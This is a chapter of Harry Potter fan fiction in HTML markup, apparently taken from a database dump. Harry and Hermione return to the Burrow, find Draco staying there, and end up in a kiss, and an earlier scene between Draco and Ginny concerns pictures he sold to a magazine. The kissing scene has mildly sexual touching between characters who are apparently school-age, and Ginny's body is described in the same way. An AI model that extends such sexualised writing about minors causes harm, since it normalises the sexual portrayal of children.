Why did you sell the pictures to <i>Playwizard</i>?&#8221;</p>\n\n<p></p>\n\n<p>Draco shrugged. &#8220;Seemed like the thing to do. I knew that your brother and Potter would be furious. Not to mention that it ticked <i>you </i>off something wild. All in all, it was a win-win situation. How could I pass it up?&#8221;</p>\n\n<p></p>\n\n<p>Dazzling his eyes with her rage, Ginny slammed her cup down on the boards, coming around the table to hover over him. The sensation of having to look up at her was novel, especially since her magnificent cleavage was in his direct line of sight. Said cleavage heaved with indignation while she fumed for a moment, thinking of what to say. Finally, she smacked him on the face with an open palm seemingly on whim.</p>\n\n<p></p>\n\n<p>&#8220;What is wrong with you, anyway?&#8221; Ginny asked, her lips quivering when they weren&#8217;t being used to speak. &#8220;How could you do that to me just to get back at my brother and his friends? I&#8217;m a human being you know.&#8221;</p>\n\n<p></p>\n\n<p>Tears were building in her eyes, and Draco glanced down at his knees so he didn&#8217;t have to look at them. But when she spoke next, he could hear them trickling in her voice and it made the fire in his chest build to a crescendo, sparks flying through his veins.</p>\n\n<p></p>\n\n<p>&#8220;I have feelings, you know.&#8221; Ginny trembled out, her voice cracking on the third word. Draco couldn&#8217;t say anything; he only stared at the ground as his head began to roar.</p>\n\n<p></p>\n\n<p>&#8220;At least look at me, you good for nothing prat!&#8221; The sound was watery and sizzled when it hit his ears. It made him more furious. She could make him feel these things, what he assumed was guilt and regret for hurting someone who had just taken care of him. It wasn&#8217;t supposed to be this way!</p>\n\n<p></p>\n\n<p>&#8220;I didn&#8217;t think of it like that,&#8221; Draco managed to say, putting a hand to his burning cheek. When he raised his eyes to look at Ginny, he saw that she had stepped back. Her face drooped in exhaustion and she sat back down in her chair.</p>\n\n<p></p>\n\n<p>&#8220;All I want is an apology. You&#8217;ve done horrible things to me in the past, but I can be the bigger person and forgive you. If<font face="Times New Roman">&#8212;</font> &#8221; she broke off, tilting her head to the side to study him while wiping away her tears. &#8220;If you apologise, I&#8217;ll put it behind me.&#8221;</p>\n\n<p></p>\n\n<p>Draco gazed at her from across the table, wondering for a moment if he even cared, found that he did, and scowled at the realisation. &#8220;I<font face="Times New Roman">&#8212;</font> &#8221; He took a breath, not wanting to say the words that came out. &#8220;I apologise. Now bring me another cup of tea.&#8221;</p>\n\n<p></p>\n\n<p>Ginny blinked at him for a moment in wonder, and then howled. &#8220;You<font face="Times New Roman">&#8212;</font> &#8221; she giggled. &#8220;Get your own fecking tea!&#8221; She put a hand up to cover her mouth, still chuckling. &#8220;Bring me a cup of tea, indeed.&#8221;</p>\n\n<p></p>\n\n<p>Draco narrowed his eyes, chuffed briefly, and went back to his paper, crossing his feet at the ankles to put them on the table. Ginny was still tittering and he hunched further down into his seat, pulling the daily up so he didn&#8217;t have to look at her. This is how he was still sitting when Harry and Hermione walked into the kitchen a few moments later.</p></font>\n\n</font></blockquote><font size="4" face="Garamond">\n\n '),
	(271, 9, ' <font size="4"><p>Authour&#8217;s Notes: There is a bit of fanart for this chapter. Just click on the link when you get to it.</p>\n\n<p></p>\n\n<p></p>\n\n<p> Several hours after they had sent an owl to the Weasleys, Harry and Hermione, sans Ron, were dusting themselves off in front of the fireplace at the Burrow. Crookshanks&#8217; tail was a bottlebrush of nerves and the cat raced upstairs immediately to lick his wounded pride while his mistress and her friend took off their shoes and cloaks.</p>\n\n<p></p>\n\n<p>Harry set Hermione&#8217;s trunk upstairs before stumbling into the kitchen, dragging her with him. Mrs Weasley would most likely have left them something to eat if she wasn&#8217;t still up and about herself. In the letter, it had been clear that they thought Ron was still with them and Harry was wracking his brain for an excuse as to why he wasn&#8217;t. Hermione pulled up short behind him with a gasp and refused to go further. It wasn&#8217;t until he glanced up that he noticed Draco Malfoy was sitting in the kitchen with Ginny.</p>\n\n<p></p>\n\n<p>Both of them looked up when they saw Harry&#8217;s approach and Ginny smiled, patting a seat beside her. &#8220;Hullo, you two. Care for a biscuit?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Ginny, what is <i>he</i> doing here?&#8221; Hermione whispered, pointing at Draco. Harry groaned when he realised that he hadn&#8217;t told her about Malfoy yet.</p>\n\n<p></p>\n\n<p>&#8220;Sorry, Hermione. I forgot to tell you about that. It seems that<font face="Times New Roman">&#8212;</font> uh, Malfoy is staying at the Burrow for a while.&#8221;</p>\n\n<p></p>\n\n<p>Her eyebrows shot up somewhere very close to her hairline at this announcement and she took a step back, tugging her arm out of Harry&#8216;s hand.</p>\n\n<p></p>\n\n<p>&#8220;What&#8217;s going on around here? Is this a trick? Who are you all? What happened to the Weasleys?&#8221;</p>\n\n<p></p>\n\n<p>Harry sighed and turned to her while the others looked on curiously. &#8220;Hermione, it isn&#8217;t a trick. I&#8217;m Harry and that really is Ginny, I assume. Malfoy<font face="Times New Roman">&#8212;</font> Well, I&#8217;ll let him explain if he wants to as it&#8217;s none of my business and I&#8217;m not quite sure why he&#8217;s here myself.&#8221;</p>\n\n<p></p>\n\n<p>Draco sniffed and looked down his nose. &#8220;It isn&#8217;t any of her business either and I owe no explanations.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Well,&#8221; she grit out. &#8220;At least I know that it&#8217;s still Malfoy, even if the rest of you have gone round the bend.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Hermione, it&#8217;ll be all right,&#8221; Ginny soothed, jumping from her chair to fling her arms about the girl. &#8220;Malfoy isn&#8217;t that bad. Well,&#8221; she amended. &#8220;He <i>is </i>bad, just not completely intolerable.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Thank you so much,&#8221; Draco spat acidly.</p>\n\n<p></p>\n\n<p>Ginny glanced up and threw him a bright smile. &#8220;You&#8217;re welcome,&#8221; she chirruped, sarcasm making her eyes dance.</p>\n\n<p></p>\n\n<p>Harry raised his eyebrows but didn&#8217;t say anything as he took Hermione by the arm and led her to the table. &#8220;Come on, Hermione. Let&#8217;s get something to eat and go to bed. It&#8217;s been a long day.&#8221;</p>\n\n<p></p>\n\n<p>She sighed, allowing Harry to lead her. &#8220;You&#8217;re right about that.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Where&#8217;s Ron?&#8221; Ginny asked as she sat down again.</p>\n\n<p></p>\n\n<p>&#8220;Ron had an argument with Hermione and took off. We were actually hoping that he was here,&#8221; Harry answered as he pulled out a couple of plates and foraged in the cold cupboard for food.</p>\n\n<p></p>\n\n<p>Ginny&#8217;s eyes widened. &#8220;You don&#8217;t know where he is?&#8221;</p>\n\n<p></p>\n\n<p>Hermione shook her head. &#8220;No. He left me at the Leaky Cauldron and we haven&#8217;t seen him since.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;What happened?&#8221; Ginny pressed.</p>\n\n<p></p>\n\n<p>&#8220;I don&#8217;t want to talk about it,&#8221; Hermione sighed.</p>\n\n<p></p>\n\n<p>&#8220;Oh,&#8221; was all the other girl said, picking at a biscuit before giving up and throwing it in the dustbin. &#8220;I&#8217;m just glad that Mum is asleep now. Dad had to convince her to go to bed because she was going to stay up until you all came back. She asked me to be here instead, just to make sure you came home safely.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Maybe he&#8217;ll be here in the morning,&#8221; Harry supplied, placing a plate of cold meats and some bread in front of Hermione before sitting down with his own meal.</p>\n\n<p></p>\n\n<p>&#8220;I hope so,&#8221; Ginny fretted, brushing crumbs from the biscuit into her hand before throwing the lot away. &#8220;I&#8217;m going to bed though, it&#8217;s very late and we&#8217;ve a lot to do tomorrow for Christmas.&#8221;</p>\n\n<p></p>\n\n<p>Malfoy had remained silent throughout the entire exchange, but at this he started, eyes glazed with exhaustion. &#8220;I agree, it&#8217;s time to go to sleep.&#8221;</p>\n\n<p></p>\n\n<p>Ginny and Draco left the kitchen. Hermione stared after them until the last footstep was heard on the stairs and then turned back to Harry, questions in her eyes.</p>\n\n<p></p>\n\n<p>&#8220;Why on <i>earth</i> is Malfoy here at the Burrow?&#8221; she hissed eventually.</p>\n\n<p></p>\n\n<p>Harry shrugged, taking a bite of his makeshift sandwich. &#8220;I told you I don&#8217;t know everything. But if you really want to know . . .&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Yes, I really want to know. But let&#8217;s go sit in front of the hearth and talk. It&#8217;s cold in here and my ribs ache.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Oh, right,&#8221; Harry said, clearly not remembering that she was still not healed all the way. He grabbed their plates and followed her out of the room to a stretch of floor in front of the larger fireplace in the family room before resuming the conversation.</p>\n\n<p></p>\n\n<p>&#8220;A few nights ago<font face="Times New Roman">&#8212;</font> &#8221; Harry didn&#8217;t know exactly where to begin, so he started with the main action. &#8220;Malfoy fell through the roof.&#8221;</p>\n\n<p></p>\n\n<p>Hermione sat up straighter at this. &#8220;He did what?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Fell through the roof.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Why?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I don&#8217;t know. I think he was trying to get away from something though because he&#8217;d been riding a broom and we found some things of his on the roof. Not only that, but . . . well, he was all messed up.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Messed up?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Yeah, like he&#8217;d been beaten or whipped or something. I&#8217;ve never seen wounds like that before in my life.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Oh my,&#8221; Hermione gasped, putting a hand to her lips. &#8220;What happened then?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Uh,&#8221; Harry scratched his head. &#8220;Mrs Weasley took care of him, cleaned him up and what not. Since then, he&#8217;s been here and she acts like he&#8217;s a long-lost Weasley or something.&#8221;</p>\n\n<p></p>\n\n<p>Hermione frowned for a moment, twirling her hair thoughtfully. The skin of her face was naturally pale, but the fire seemed to overlay it with a soft glow of gold and red tones. Straight, dark eyebrows drew together over squinted eyes and her lower lip was busy being worried by her pearly teeth. Harry realised that he was staring and quickly looked away.</p>\n\n<p></p>\n\n<p>&#8220;I suppose it makes sense for Mrs Weasley to take care of him,&#8221; Hermione said after a moment of contemplation. &#8220;I mean, she and Ginny are always taking in strays. If Malfoy was in as bad a condition as you say, then it would bring out her nurturing instincts.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Yeah,&#8221; Harry chuckled, still not looking at Hermione. &#8220;You should have seen her this afternoon. Caught sight of Malfoy having a quick fag out in the garden and threatened to whack him upside the head with her spoon.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Malfoy smokes?&#8221; she asked, eyebrows raised as she took a bite from the bread on her plate.</p>\n\n<p></p>\n\n<p>Harry only nodded. &#8220;Apparently so. I suppose that it fits his image.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;<i>I</i> wouldn&#8217;t think so. He&#8217;s terribly vain, you can tell.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Who cares if Malfoy smokes?&#8221;</p>\n\n<p></p>\n\n<p>Hermione shook her head in impatience. &#8220;But it&#8217;s an insight into someone&#8217;s character, don&#8217;t you see?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I suppose so. They aren&#8217;t like Muggle cigarettes, these ones have calming charms on them.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Exactly!&#8221; Hermione said, getting excited about the new riddle and sitting up on her knees. &#8220;So the question is: what does Malfoy have to be nervous about?&#8221;</p>\n\n<p></p>\n\n<p>Harry shrugged. &#8220;I don&#8217;t know. I mean, it isn&#8217;t as if he&#8217;s <i>worried</i> about Voldemort rising again. The Malfoys are all Death Eaters or good as from what I&#8217;m told.&#8221;</p>\n\n<p></p>\n\n<p>Hermione shuddered. &#8220;Ugh, yet another reason that I don&#8217;t want him to be here. He&#8217;s going to ruin the holiday and we&#8217;ll all be lucky to escape with our lives after some stupid adventure or another.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Probably,&#8221; Harry grinned teasingly, feeling comfortable again. &#8220;But don&#8217;t worry about it. I don&#8217;t think he&#8217;s going to murder us in our beds or anything.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I certainly hope not.&#8221; Hermione puffed, crossing her arms before uttering a soft cry. &#8220;Great,&#8220; she muttered. &#8220;Now I&#8217;m <i>never</i> going to be able to sleep!&#8221;</p>\n\n<p></p>\n\n<p>&#8220;You&#8217;ll sleep fine tonight, Hermione. Trust me.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;m afraid to go to sleep now. What if the Death Eaters come looking for Malfoy while we&#8217;re asleep?&#8221;</p>\n\n<p></p>\n\n<p>Harry rolled his eyes. &#8220;I doubt they&#8217;ll show up here. Dumbledore asked the Weasleys to put a charm on the property so no one can Apparate inside the hedgerows.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Malfoy got in,&#8221; she pointed out.</p>\n\n<p></p>\n\n<p>&#8220;I don&#8217;t think he Apparated, and stop worrying, Hermione.&#8221;</p>\n\n<p></p>\n\n<p>Her lips twisted in a smirk. &#8220;Aren&#8217;t I the one who usually tells <i>you</i> to stop worrying about Voldemort?&#8221;</p>\n\n<p></p>\n\n<p>He grinned. &#8220;Yeah, but I thought I might trade you for the night.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;You&#8217;re impossible,&#8221; Hermione said jokingly, slapping him on the arm with a smile. But the light in her eyes faded after a moment and she frowned. </p>\n\n<p></p>\n\n<p>&#8220;We really should wait up for Ron. Mrs Weasley will be awfully cross when she finds out that he isn&#8217;t with us and we didn&#8217;t even stay up to wait for him.&#8221;</p>\n\n<p></p>\n\n<p>Harry sighed and looked into the fire. &#8220;You&#8217;re right. And if he comes back tonight, it&#8217;ll probably be by Floo.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;We&#8217;d better stay here then,&#8221; Hermione said, getting up to sit on the sofa and be more comfortable. &#8220;Why don&#8217;t you get your quilt, Harry? Oh, and my dressing gown please.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;All right,&#8221; he answered.</p>\n\n<p></p>\n\n<p>Harry tiptoed up the stairs to the room he shared with Ron while at the Burrow. A quick look at the other bed confirmed that Ron wasn&#8217;t there so he grabbed the quilt and went down to Hermione&#8217;s room for her dressing gown before going back downstairs. Hermione gave him a questioning glance as he sat down next to her feet on the floor.</p>\n\n<p></p>\n\n<p>He shook his head, knowing what she was thinking. &#8220;He wasn&#8217;t there, Hermione.&#8221;</p>\n\n<p></p>\n\n<p>She sighed and leaned her head over the back of the couch, letting it support her for a moment. &#8220;I suppose there&#8217;s no help for it then,&#8221; Hermione stated while gazing at the ceiling. Harry handed her the blanket and her dressing gown and sat on the floor, resting against the sofa with his feet tucked underneath him while she put it on. A moment later he felt a hand on his head, gently rubbing fingers through his hair. Harry sighed and unconsciously pressed his face against her quilt-covered knee.</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;m so comfortable right now, I may just fall asleep anyway,&#8221; he mumbled.</p>\n\n<p></p>\n\n<p>Hermione laughed and removed her hand. Harry glanced up. &#8220;Why&#8217;d you stop?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Sorry, I&#8217;ll go on if you like.&#8221;</p>\n\n<p></p>\n\n<p>He closed his eyes again as she continued. &#8220;Yes, please. My head hurts something dreadful and I promised you earlier that I wouldn&#8216;t drink anymore, so I don&#8216;t have that to make me feel better.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Poor Harry,&#8221; Hermione leaned down to whisper in his ear teasingly, her hot breath causing all the hair on his arms to stand at attention. &#8220;All that racing around, being heroic. Must be terribly hard on you.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;You have no idea,&#8221; he muttered, self-consciously pulling his jumper down over his lap. It really wasn&#8217;t right to react like this, he told himself. But Hermione kept running her soft fingers through his hair, gently working out the knots and smoothing it all flat. It was just the friendly thing to do.</p>\n\n<p></p>\n\n<p>But her bare toes, peeking out from under the covers, became obsessively difficult to ignore. Especially when they wriggled so pinkly near his fingers. Harry raised a hand to grasp one of them, rolling it softly between thumb and forefinger. Hermione squealed quietly, if it was possible to do so, and moved her foot out of the way. He smirked and grabbed it again, scraping a fingernail over the silken arch.</p>\n\n<p></p>\n\n<p>The expected reaction was for her to draw it back and giggle like mad. Instead, she curled the toes under. Harry raised his eyebrows and did it again, the foot in his grip coiling wildly before Hermione reached down a hand.</p>\n\n<p></p>\n\n<p>&#8220;Harry, stop it.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;You&#8217;re <i>supposed</i> to be laughing right now.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;m just not ticklish, that&#8217;s all.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Yes, you are.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;All right, I am. But not there.&#8221;</p>\n\n<p></p>\n\n<p>Harry grinned and fell to his knees. &#8220;I know where.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;No, don&#8217;t!&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;m going to do it.&#8221; He flipped the covers back to expose her legs.</p>\n\n<p></p>\n\n<p>&#8220;No, not my kneeeees!&#8221; she laughed out while trying frantically to push his hands away. &#8220;Harry, it isn&#8217;t fair when you&#8217;re not ticklish at all,&#8221; Hermione managed between breaths.</p>\n\n<p></p>\n\n<p>&#8220;I know, very evil of me wouldn&#8217;t you say?&#8221; His lips twisted wryly and he looked up with his fingers still wrapped around the backs of her legs, the skin there hot and sweaty. She snorted indelicately and leaned back on the couch.</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;ll just call you Malfoy from now on, shall I?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Don&#8217;t you dare! I&#8217;m much better looking than he is,&#8221; Harry said as his chest puffed out and he affected a pose that he knew was quite ridiculous and meant to be dashing in a mocking way.</p>\n\n<p></p>\n\n<p>Hermione laughed. &#8220;Who told you that you&#8217;re better looking?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Well, you did. Said that I&#8217;m rich <i>and</i> easy on the eyes. Then there are all the girls at school, and the magazines . . .&#8221;</p>\n\n<p></p>\n\n<p>She rolled her eyes and reached down into the couch. &#8220;Harry Potter, I think you&#8217;ve gotten a big head. Let me just get my wand and I&#8217;ll deflate it for you.&#8221;</p>\n\n<p></p>\n\n<p>Harry reached out one hand to grab hers, the other still draped over her knee. &#8220;You can&#8217;t use magic outside of school remember?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Honestly, Harry! I wasn&#8217;t about to hex you, I only wanted to pull the quilt up.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Oh,&#8221; he said simply, releasing her hand.</p>\n\n<p></p>\n\n<p>She shook her head and snuggled further under the blankets. &#8220;You know, it&#8217;s been a while since we really laughed.&#8221;</p>\n\n<p></p>\n\n</font><p><font size="4">Harry nodded and put his head in her lap, turning to face the fire. </font><a href="http://groups.yahoo.com/group/stafic/files/hhcouch.jpg"><u><font size="4">His</font></u></a><font size="4"> eyes closed against the warmth and his hands found the back of her knees again, squeezing them in comfort. &#8220;I know, far too long. It&#8217;s a terrible thing to grow up.&#8221;</font></p><font size="4">\n\n<p></p>\n\n<p>&#8220;We all do it eventually.&#8221;</p>\n\n<p></p>\n\n<p>He sat back on his heels and looked up at her face, which was pensively absorbed in the quilt. &#8220;I don&#8217;t want to get older. I want to be like this forever.&#8221;</p>\n\n<p></p>\n\n<p>She twisted her head to gaze at him softly, reaching up a hand to play with his messy hair. &#8220;We have to, there&#8217;s no turning back.&#8221; Hermione leaned forward until her flushed face was only a few inches from his own. Her words seemed to carry a double meaning that made Harry&#8216;s pulse flicker with sudden yearning. &#8220;Ginny told me we should all make the best of the time we have. And we can&#8217;t be children forever, Harry.&#8221;</p>\n\n<p></p>\n\n<p>It was there, in her eyes. She felt it too and he didn&#8217;t wait for her to hesitate. Harry wrapped his fingers around the back of her head and balanced his mouth on hers, pressing in deeply. Her eyelashes fluttered for a moment against his cheek as she sighed out warm breath into his lungs. The kiss was profoundly satisfying on some primal level, like they had been dancing around it for hours, days, and years.</p>\n\n<p></p>\n\n<p>In a gentle way, she slipped her mouth open and urged it back down over his with quiet enthusiasm. His hands, which had been resting under her knees, bunched reflexively and gathered the skin into small folds. Harry moaned softly as she extended the kiss, her tongue grazing his teeth. His fingers grew bold by the action and moved higher, up her thigh to make small circles on the smooth and sensitive inner flesh.</p>\n\n<p></p>\n\n<p>Hermione&#8217;s hands crept down to pull him closer to her. Harry was still on his knees, the coldness of stone seeping through his trousers until he lifted her up and pushed her against the couch, not breaking contact with her mouth. The kiss remained hungry and they struggled to feed it and breathe all at once, roaming their hands and fingers into new territory.</p>\n\n<p></p>\n\n<p>Harry eventually dragged his mouth from hers, marking a path to the flushed skin of her neck, his breath coming out hot and rapid against her ear.</p>\n\n<p></p>\n\n<p>&#8220;Hermione,&#8221; he gasped as her hand found a new place to settle. &#8220;What are we doing?&#8221;</p>\n\n<p></p>\n\n<p>She sighed in frustration and snatched her hand away. &#8220;I don&#8217;t know, Harry. Snogging?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;We should stop, if Ron comes in . . .&#8221; Harry swallowed, trying to keep his thoughts in order while Hermione&#8217;s hard nipples were pressed against his chest. It was very difficult to remember his name at that point, but something told him to stop. She was ignoring him anyway and looking into the fire. Harry forced himself to sit up, covering his lap with the quilt. &#8220;Hermione, look at me.&#8221;</p>\n\n<p></p>\n\n<p>Her gaze eventually drifted over to settle on him, but he almost wished that it hadn&#8217;t since her eyes flickered with anger and some discontented emotion. &#8220;I&#8217;ve been wanting to kiss you for ages, Harry. Ever since third task, I think. It wouldn&#8217;t even have entered my mind until long after if it wasn&#8217;t for that Skeeter woman. And now you&#8217;re telling me to stop, because of Ron?&#8221;</p>\n\n<p></p>\n\n<p>Harry coloured and attempted to smooth down his clothes. &#8220;I-I didn&#8217;t know that, Hermione. Why didn&#8217;t you just tell me?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Because Ron has been filling my head with all sorts of nonsense about you and that tart of the week business ever since fifth year. Plus you were still so depressed over Cedric and I thought for a while that you and Cho were . . .&#8221; Hermione trailed off and stared at him, tears filling her eyes.</p>\n\n<p></p>\n\n<p>&#8220;Cho and I were never<font face="Times New Roman">&#8212;</font> well, we never actually had a relationship. We kissed once and that&#8216;s about it. I haven&#8216;t really had a<font face="Times New Roman">&#8212;</font> with any other girls.&#8221; A flash of pale leg and firm breasts pressed up against him flared in his mind, but Harry ignored it.</p>\n\n<p></p>\n\n<p>&#8220;Ron told me different. Had you two snogging in cupboards and everything, after that it was worse. It&#8217;s because of Ron that I never told you anything and you want me to just stop everything in its tracks because of <i>his </i>feelings? You really don&#8217;t care for me at all, do you?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;No, I do care for you, Hermione. I care so much sometimes that I<font face="Times New Roman">&#8212;</font> but I&#8217;ve never realised before how much until you told me about him lying to you. And tonight it just felt so right to kiss you. But we still have to remember Ron. He would have reason to be upset if we really did make him the third wheel, and he&#8217;s our friend even if we are angry with him.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Angry? That&#8217;s all? I&#8217;m absolutely livid! He&#8217;s done this for almost two <i>years</i> now. His actions were petty and vengeful. There may be something we don&#8217;t know about that&#8217;s making him act this way, but how can we ever trust him again long enough to find out?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I thought I knew him,&#8221; Harry muttered, running his thumb over his swollen lips. &#8220;But I suppose that I don&#8217;t. We still have to try and make things right, though.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Harry,&#8221; Hermione sat up and cupped one of his cheeks in her cold little hand, gazing at him pleadingly. &#8220;Forget about Ron for a moment. What are you going to do about <i>us</i>?&#8221;</p>\n\n<p></p>\n\n<p>He blushed. &#8220;We could<font face="Times New Roman">&#8212;</font> well, I assumed that<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>Hermione lifted her eyebrows in inquiry and Harry swallowed hard. &#8220;Do you want to maybe, give it a go?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Give it a go?&#8221; She was ruffled now and her hand was quickly drawn away. Hermione turned her head back towards the fire and snorted. It was getting delicate and she probably mistook what he had meant. Good God, what <i>had</i> he meant? Snogs, walks in the snow, meaningful conversations? Sure, that sounded about right; it was what all the other couples did. It was what was expected. Right?</p>\n\n<p></p>\n\n<p>&#8220;I didn&#8217;t mean <i>that</i> . . . Cor, Hermione! You know I have feelings for you and everything. I just said it. Is there anything I can say to make this right with you?&#8221;</p>\n\n<p></p>\n\n<p>She gave him an arch glance out of the corner of her eye, softening just a little. &#8220;You can tell me that you&#8217;re madly in love with me and we should run off to Bora Bora to start a colony for abused House Elves.&#8221;</p>\n\n<p></p>\n\n<p>Harry blinked at the unexpected humour and shook his head, a grin tugging his lips. All thoughts of Ron fled his mind and it was like a light shone down on him when she was happy again. &#8220;I&#8217;m madly in love with you. But let&#8217;s not run off to Bora Bora; I don&#8217;t want to share you with a bunch of House Elves.&#8221;</p>\n\n<p></p>\n\n<p>Her eyes lit up with wonder. &#8220;Do you really mean it or are you just trying to make me shut up?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I really mean it.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Really?&#8221; she said in a very un-Hermione like squeak.</p>\n\n<p></p>\n\n<p>Harry grinned. &#8220;Really, really, really mean it.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I suppose that&#8217;ll do for now. Give us a kiss to seal the treaty?&#8221;</p>\n\n<p></p>\n\n<p>Hermione was smiling widely, her face in shadows due to the fire being at her back now. Harry reached up both hands and placed one on either side of her face, pulling it closer to his own. He brushed his lips over hers for a moment before sucking gently at her mouth.</p>\n\n<p></p>\n\n<p>&#8220;Consider it sealed.&#8221;</p>\n\n<p></p>\n\n<p>Hermione put a hand to her lips as he leaned back. &#8220;Brilliant,&#8221; she chuckled.</p>\n\n<p></p>\n\n<p>Harry sighed as he traced over the arc of her jaw with his fingertips. &#8220;I suppose Ron will adjust to it all eventually. We&#8217;ll just break him in slowly and make sure that we include him in everything. Well,&#8221; Harry amended. &#8220;Not <i>everything</i>.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Slow is good. Never is better though.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;You want to hide this forever?&#8221; Harry asked, letting his hand drop to her arm. She moved her fingers to give him a squeeze.</p>\n\n<p></p>\n\n<p>&#8220;Of course not. It&#8217;s just that this is very odd for us and we should wait before telling anyone, just in case.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;In case?&#8221;</p>\n\n<p></p>\n\n<p>Hermione scowled. &#8220;Oh all right. I just don&#8217;t want to tell him, that&#8217;s all. He&#8217;s been positively horrid and I&#8217;m still angry.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Things will work out, you&#8217;ll see.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Don&#8217;t be so sure,&#8221; Hermione sighed, staring down at their intertwined hands and noticing that her blouse was missing a few buttons.</p>\n\n<p></p>\n\n<p>&#8220;See what you&#8217;ve done!&#8221; she exclaimed, pointing at the mangled white oxford. &#8220;I look like someone&#8217;s had their way with me.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Someone did have their way with you. Sort of.&#8221; Harry patted her leg while he tried hard not to laugh out right.</p>\n\n<p></p>\n\n<p>Hermione huffed and stood up, smoothing down her skirt. &#8220;I&#8217;m going upstairs to change into my nightclothes. If anyone saw me now . . .&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Sorry,&#8221; Harry smiled, not feeling very apologetic at all. &#8220;Come down to the kitchen after you&#8217;re done and we can have a nibble. There are still loads of mince pies in the cupboard from earlier.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Oh good, I&#8217;m still hungry.&#8221; She dipped down to give him a quick peck on the cheek and tiptoed upstairs to change.</p>\n\n<p></p>\n\n<p>Harry sighed and bent over to collect their plates from earlier before getting up and wandering into the kitchen. The dishes almost fell though when he noticed that Draco Malfoy was sitting in the same place he had been earlier, nursing a fag as if it were life support.</p>\n\n<p></p>\n\n<p>&#8220;How<font face="Times New Roman">&#8212;</font> what are you <i>doing</i> in here?&#8221; Harry hissed, depositing the plates in the sink with a clunk. &#8220;Don&#8217;t you ever sleep?&#8221;</p>\n\n<p></p>\n\n<p>Draco smirked and took another puff from his cigarette, tapping the ashes into a cup. &#8220;I should be asking you that, Potter.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;How long ago did you come in here?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Long enough.&#8221; Draco&#8217;s lip twitched slightly before he took another puff and pinched the end of his cigarette, causing it to disappear into thin air. &#8220;Have fun, did we?&#8221;</p>\n\n<p></p>\n\n<p>Harry gritted his teeth and sat down opposite of Draco. The frustration and unfulfilled desire from earlier was making him peevish. &#8220;If you tell the Weasleys that I<font face="Times New Roman">&#8212;</font> that we<font face="Times New Roman">&#8212;</font> well, I&#8217;ll kill you if you say a word to anyone.&#8221;</p>\n\n<p></p>\n\n<p>Draco lifted an eyebrow, lingering smoke circling above his head. &#8220;Awfully testy, Potter. Hit a wall?&#8221;</p>\n\n<p></p>\n\n<p>Almost growling at the other boy, Harry clenched his fists tightly under the table while Draco continued.</p>\n\n<p></p>\n\n<p>&#8220;Look, I don&#8217;t really care what you and Granger do. But it will be terribly interesting when the other member of your trio finds out.&#8221;</p>\n\n<p></p>\n\n<p>Flinching, Harry looked down at the bright, floral-patterned chintz that covered the rough kitchen table. &#8220;What have I done?&#8221; he whispered.</p>\n\n<p></p>\n\n<p>The question was rhetorical, but Draco didn&#8217;t hesitate in answering. &#8220;You&#8217;ve just screwed yourself out of a friend, is what.&#8221;</p>\n\n<p></p>\n\n<p>Harry allowed his head to hit the table and moaned, covering it in both arms. If Harry had looked up then, he would have seen the calculating look that Draco was aiming at his head as the boy soaked this in with apparent delight.</p>\n\n<p></p>\n\n<p>&#8220;Cigarette, 